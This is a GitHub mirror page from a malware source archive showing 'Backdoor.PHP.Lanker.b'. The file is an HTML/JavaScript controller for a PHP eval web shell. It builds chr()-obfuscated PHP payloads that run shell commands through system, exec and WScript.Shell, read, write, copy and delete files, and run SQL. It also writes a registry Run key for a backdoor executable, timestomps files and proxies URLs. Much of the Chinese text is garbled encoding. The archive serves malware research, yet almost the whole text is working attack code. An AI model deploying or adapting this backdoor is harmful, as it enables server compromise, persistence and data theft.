ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-25 04:45:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
8fd0190690
MalwareSourceCode/PHP/Backdoor.PHP.Lanker.b

474 lines
26 KiB
Brainfuck
Raw Normal View History

Add files via upload
2020-10-10 03:02:21 +00:00
<HTML><HEAD>
<!-- codz by LANKER(QQ:18779569) 2005/1/1-->
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<style>
<!--
td {font-size:8pt; color: #666666;font-family:Verdana}
INPUT {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
textarea {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
select {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
BODY {font-size:9pt; color: #666666;font-family:Verdana; SCROLLBAR-FACE-COLOR: #ffffff; background color:#eeeeee;cursor:SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #aaaaaa; SCROLLBAR-3DLIGHT-COLOR: #aaaaaa; SCROLLBAR-ARROW-COLOR: #dddddd; SCROLLBAR-TRACK-COLOR: #ffffff; SCROLLBAR-DARKSHADOW-COLOR: #ffffff }
a:link {text-decoration:none; color:#336699}
a:visited {text-decoration:none; color:#336699}
a:active {text-decoration:none; color:#336699}
a:hover {COLOR: #b4c8d8; }
.tb {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#cccccc}
.tb0 {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#fcfcfc}
.tb1 {background-color:#ffffff} </style>
-->
</STYLE>
</HEAD>
<BODY style="FONT-SIZE: 9pt" bgcolor="#cccccc">
<CENTER style="cursor:hand;">
<font color="#000080">
lankerһ<EFBFBD>仰PHP<EFBFBD><EFBFBD><EFBFBD>ſͻ<EFBFBD><EFBFBD><EFBFBD>3.0</font><FONT color=#ff3300><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD></font>
</CENTER>
<hr size="1" color="#000080">
<FORM ENCTYPE="multipart/form-data" name=frm method=post target=qq2>
<TABLE style="FONT-SIZE: 9pt">
<TD width=750 height=10><EFBFBD><EFBFBD><EFBFBD>ŵ<EFBFBD>ַ: <INPUT
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"
size=60 value=http://127.0.0.1/door.php name=act> <20><><EFBFBD><EFBFBD>: <INPUT <20><><EFBFBD><EFBFBD>
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"
size=10 value=cmd name=para><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><textarea rows='1' name='tmpcmd' cols='23'>&lt;?php eval($_POST[cmd]?;&gt;</textarea></TD></TABLE>
<TABLE width=750 >
<TD bgcolor=#ffffff><TABLE style="FONT-SIZE: 9pt" ><tr width=200 height=10>
<select onchange="showDiv(this.value);">
<option value="digest" >----<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>----</option>
<option value="2" >PHP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="16" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ</option>
<option value="1" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
<option value="3" >ִ<EFBFBD><EFBFBD>CMD<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="17" ><EFBFBD>޻<EFBFBD><EFBFBD><EFBFBD>CMD<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="6" ><EFBFBD><EFBFBD>ȡĿ¼</option>
<option value="14" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
<option value="15" >ɾ<EFBFBD><EFBFBD>Ŀ¼</option>
<option value="4" ><EFBFBD>ϴ<EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="5" ><EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD></option>
<option value="12" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="7" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="8" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="9" >ɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="13" ><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="21" ><EFBFBD><EFBFBD>¡<EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><EFBFBD></option>
<option value="22" ><EFBFBD><EFBFBD><EFBFBD>ߴ<EFBFBD><EFBFBD><EFBFBD></option>
<option value="11" >ִ<EFBFBD><EFBFBD>SQL<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="18" ><EFBFBD><EFBFBD>ȡע<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="19" >д<EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="20" >ɾ<EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="10" >ר<EFBFBD><EFBFBD>ģʽ(<28>Լ<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>)</option>
</select></tr><tr height=260><TD id="yunxing" ><FONT color=#ff3300>LANKER΢<EFBFBD><EFBFBD>PHP<EFBFBD><EFBFBD><EFBFBD>ŷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˴<EFBFBD><EFBFBD>룺<br>&lt;?php eval($_POST[cmd])?><hr size="1" color="#000080"><br><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><br>&lt;?php @eval($_POST[cmd])?></font><TD></tr></TABLE></td><td><TABLE style="FONT-SIZE: 9pt"><IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0
src="about:blank"
frameborder=no scrolling=auto></IFRAME></TABLE></td></table>
</form>
<hr size="1" color="#000000">
<CENTER>
<center>
<FONT color=#ff3300><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A>˰<EFBFBD>Ϊ<EFBFBD>ڲ<EFBFBD><DAB2>棬δ<E6A3AC><CEB4><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD>Ͻ<EFBFBD><CFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>лл<D0BB><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>By lanker</font></center>
</BODY></HTML>
<script language="javascript">
function showDiv(aa){
switch(aa)
{
case "2":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"echo dirname(__FILE__);\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "1":
yunxing.innerHTML="PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>"
yunxing.innerHTML+="<p align='center'><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"phpinfo();\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "3":
yunxing.innerHTML="<p align='center'>ִ<EFBFBD>к<EFBFBD><EFBFBD><EFBFBD>:<br><select name='execfun'><option value='system' selected>system</option><option value='syscom'><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COM<EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>WINNT)</option><option value='passthru'>passthru</option><option value='`'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(`)</option><option value='shell_exec'>shell_exec</option><option value='exec'>exec</option><option value='popen'>popen</option></select><br><br><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"cmdname\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;cmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "4":
yunxing.innerHTML="<22>ļ<EFBFBD>·<EFBFBD><C2B7>(<28><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ǰĿ¼)<br><input type=text name='uploaddir' value='c:/lanker' size=24><p align='center'><input NAME='LanKerF' TYPE='file' size=13><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;upfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "5":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"duqu\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "6":
yunxing.innerHTML="<p align='center'>Ŀ¼<EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"duqu\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "7":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD>1:<br><INPUT size=24 name=\"file1\"><br><EFBFBD>ļ<EFBFBD>2:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;copyfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "8":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD>1:<br><INPUT size=24 name=\"file1\"><br><EFBFBD>ļ<EFBFBD>2:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;renamefile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "9":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"filen\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "10":
yunxing.innerHTML="<p align='center'><textarea rows='12' name='duqu' cols='22'>phpinfo();</textarea>"
yunxing.innerHTML+="<INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=frm.duqu.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><EFBFBD>ַ<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<hr size='1' color='#000000'>Ҫת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>:<br><INPUT type=text name=\"inputstr\" size='23' ><br>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>:<br><textarea cols='22' rows=\"4\" name=\"chrstr\" ></textarea><br><INPUT type=button name=strtxtdd onclick=\"ascchar()\" value=\"ת <20><>\" >"
break;
case "11":
yunxing.innerHTML="<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><input NAME=\"servername\" TYPE=\"text\" value=\"localhost\" size=\"12\" ><BR><EFBFBD><EFBFBD><EFBFBD>ݿ⣺<input NAME=\"dbname\" TYPE=\"text\" value size=\"10\" > &nbsp;<BR><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><input NAME=\"dbusername\" TYPE=\"text\" value=\"root\" size=\"10\" >&nbsp; <BR><EFBFBD><EFBFBD><EFBFBD>룺<input NAME=\"dbpassword\" TYPE=\"text\" value size=\"12\" > &nbsp; <BR>SQL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<BR><textarea rows=\"8\" name=\"sql\" cols=\"20\" ></textarea>"
yunxing.innerHTML+="<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;SQL();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send>"
break;
case "12":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>:<INPUT size=14 name=\"filen\"><br><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<BR><textarea rows=\"16\" name=\"filec\" cols=\"20\" ></textarea><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "13":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"filen\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;downfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "14":
yunxing.innerHTML="<p align='center'>Ŀ¼<EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"dir\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "15":
yunxing.innerHTML="<p align='center'>Ŀ¼<EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"dir\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;rmdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "16":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;info();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "17":
yunxing.innerHTML="<p align='center'><EFBFBD>ļ<EFBFBD>:<br><INPUT size=24 name=\"cmdpath\" value=\"c:/winnt/system32/cmd.exe\"><br><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<br><INPUT size=24 name=\"runfile\" value=\"/c net user > c:/log.txt\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;runcmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "18":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD>ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readreg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "19":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD>ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\"><br><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<select name='regtype'><option value='REG_SZ' selected>REG_SZ</option><option value='REG_BINARY' >REG_BINARY</option><option value='REG_DWORD' >REG_DWORD</option><option value='REG_MULTI_SZ' >REG_MULTI_SZ</option><option value='REG_EXPAND_SZ' >REG_EXPAND_SZ</option></select><br>ֵ:<INPUT size=24 name=\"regval\" value=\"c:\\winnt\\backdoor.exe\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;writereg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "20":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD>ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delreg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "21":
yunxing.innerHTML="<p align='center'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>:<br><INPUT size=24 name=\"file1\" value=\"c:\\boot.ini\"><br><EFBFBD><EFBFBD>¡<EFBFBD>ļ<EFBFBD>:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;domodtime();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "22":
yunxing.innerHTML="<p align='center'>URL:<INPUT size=24 name=\"url\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;urlproxy();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='<27><> <20><>' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
}
}
function urlproxy(){
frm.tmpcmd.value="$url="
frm.tmpcmd.value+=duqu(frm.url.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if (isset($url)) {$proxycontents = @file_get_contents($url);\n"
frm.tmpcmd.value+=" echo ($proxycontents) ? $proxycontents:<3A><>ȡURL<52><4C><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>;}\n"
}
function domodtime(){
frm.tmpcmd.value="$file1="
frm.tmpcmd.value+=duqu(frm.file1.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$file2="
frm.tmpcmd.value+=duqu(frm.file2.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$time=@filemtime($file1);\n"
frm.tmpcmd.value+="echo (@touch($file2,$time,$time)) ? basename($file2).<EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD>Ϊ.date(chr(89).chr(45).chr(109).chr(45).chr(100).chr(32).chr(72).chr(58).chr(105).chr(58).chr(115),$time).chr(33) : <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>޸<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>޸<EFBFBD>ʧ<EFBFBD><CAA7>;\n"
}
function writereg(){
frm.tmpcmd.value="$regpath="
frm.tmpcmd.value+=duqu(frm.regpath.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$regtype="
frm.tmpcmd.value+=duqu(frm.regtype.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$regval="
frm.tmpcmd.value+=duqu(frm.regval.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$s= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));\n"
frm.tmpcmd.value+="$a=@$s->RegWrite($regpath,$regval,$regtype);\n"
frm.tmpcmd.value+="echo ($a==0) ? chr(79).chr(75).chr(33) : chr(70).chr(65).chr(73).chr(76).chr(33);"
}
function delreg(){
frm.tmpcmd.value="$regpath="
frm.tmpcmd.value+=duqu(frm.regpath.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$s= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));"
frm.tmpcmd.value+="$a=@$s->RegDelete($regpath);\n"
frm.tmpcmd.value+="echo ($a==0) ? chr(79).chr(75).chr(33) : chr(70).chr(65).chr(73).chr(76).chr(33);"
}
function readreg(){
frm.tmpcmd.value="$regpath="
frm.tmpcmd.value+=duqu(frm.regpath.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$shell= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));"
frm.tmpcmd.value+="var_dump(@$shell->RegRead($regpath));\n"
}
function runcmd(){
frm.tmpcmd.value="$a="
frm.tmpcmd.value+=duqu(frm.cmdpath.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$b="
frm.tmpcmd.value+=duqu(frm.runfile.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$s= &new COM(chr(83).chr(104).chr(101).chr(108).chr(108).chr(46).chr(65).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110));\n"
frm.tmpcmd.value+="$c = $s->ShellExecute($a,$b);\n"
frm.tmpcmd.value+="if(!$c) echo chr(79).chr(75).chr(33);\n"
}
function cmd(){
if (frm.execfun.value =='syscom'){
frm.tmpcmd.value="$cmd="
frm.tmpcmd.value+=duqu(frm.cmdname.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n"
frm.tmpcmd.value+="$wsh = new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108)) or die(chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(33));\n"
frm.tmpcmd.value+="$exec = $wsh->exec(chr(99).chr(109).chr(100).chr(46).chr(101).chr(120).chr(101).chr(32).chr(47).chr(99).chr(32).$cmd);\n"
frm.tmpcmd.value+="$stdout = $exec->StdOut ();\n"
frm.tmpcmd.value+="$stroutput = $stdout->ReadAll ();\n"
frm.tmpcmd.value+="echo ($stroutput);\n"
frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n"
}
else{
if (frm.execfun.value =='`'){
frm.tmpcmd.value="$cmd="
frm.tmpcmd.value+=duqu(frm.cmdname.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n"
frm.tmpcmd.value+="echo"
frm.tmpcmd.value+=frm.execfun.value
frm.tmpcmd.value+="$cmd"
frm.tmpcmd.value+=frm.execfun.value
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n"
}
else{
frm.tmpcmd.value="$cmd="
frm.tmpcmd.value+=duqu(frm.cmdname.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n"
frm.tmpcmd.value+="echo "
frm.tmpcmd.value+=frm.execfun.value
frm.tmpcmd.value+="($cmd);\n"
frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n"
}
}
}
function copyfile(){
frm.tmpcmd.value="$file1="
frm.tmpcmd.value+=duqu(frm.file1.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$file2="
frm.tmpcmd.value+=duqu(frm.file2.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if (@copy($file1,$file2)) echo chr(79).chr(75).chr(33);\n"
}
function renamefile(){
frm.tmpcmd.value="$file1="
frm.tmpcmd.value+=duqu(frm.file1.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$file2="
frm.tmpcmd.value+=duqu(frm.file2.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if (@rename($file1,$file2)) echo chr(79).chr(75).chr(33);\n"
}
function downfile(){
frm.tmpcmd.value="$df="
frm.tmpcmd.value+=duqu(frm.filen.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$f=chr(46);"
frm.tmpcmd.value+="$h=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(116).chr(121).chr(112).chr(101).chr(58).chr(32).chr(97).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(47).chr(120).chr(45);\n"
frm.tmpcmd.value+="$h1=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(68).chr(105).chr(115).chr(112).chr(111).chr(115).chr(105).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(97).chr(116).chr(116).chr(97).chr(99).chr(104).chr(109).chr(101).chr(110).chr(116).chr(59).chr(32).chr(102).chr(105).chr(108).chr(101).chr(110).chr(97).chr(109).chr(101).chr(61);\n"
frm.tmpcmd.value+="$h2=(68).chr(101).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(80).chr(72).chr(80).chr(51).chr(32).chr(71).chr(101).chr(110).chr(101).chr(114).chr(97).chr(116).chr(101).chr(100).chr(32).chr(68).chr(97).chr(116).chr(97);\n"
frm.tmpcmd.value+="$h3=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(76).chr(101).chr(110).chr(103).chr(116).chr(104).chr(58);\n"
frm.tmpcmd.value+="$fn = @basename($df);\n"
frm.tmpcmd.value+="$fe = $finfo[count($finfo)-1];\n"
frm.tmpcmd.value+="$finfo = explode($f, $fn);\n"
frm.tmpcmd.value+="header($h.$fe);\n"
frm.tmpcmd.value+="header($h1.$fn);\n"
frm.tmpcmd.value+="header($h2);\n"
frm.tmpcmd.value+="header($h3.filesize($df));\n"
frm.tmpcmd.value+="@readfile($df);\n"
frm.tmpcmd.value+="exit;\n"
}
function readfile(){
frm.tmpcmd.value="$filename="
frm.tmpcmd.value+=duqu(frm.duqu.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$s=chr(60).chr(112).chr(114).chr(101).chr(62);\n"
frm.tmpcmd.value+="$e=chr(60).chr(47).chr(112).chr(114).chr(101).chr(62);\n"
frm.tmpcmd.value+="$fp=@fopen($filename,r);\n"
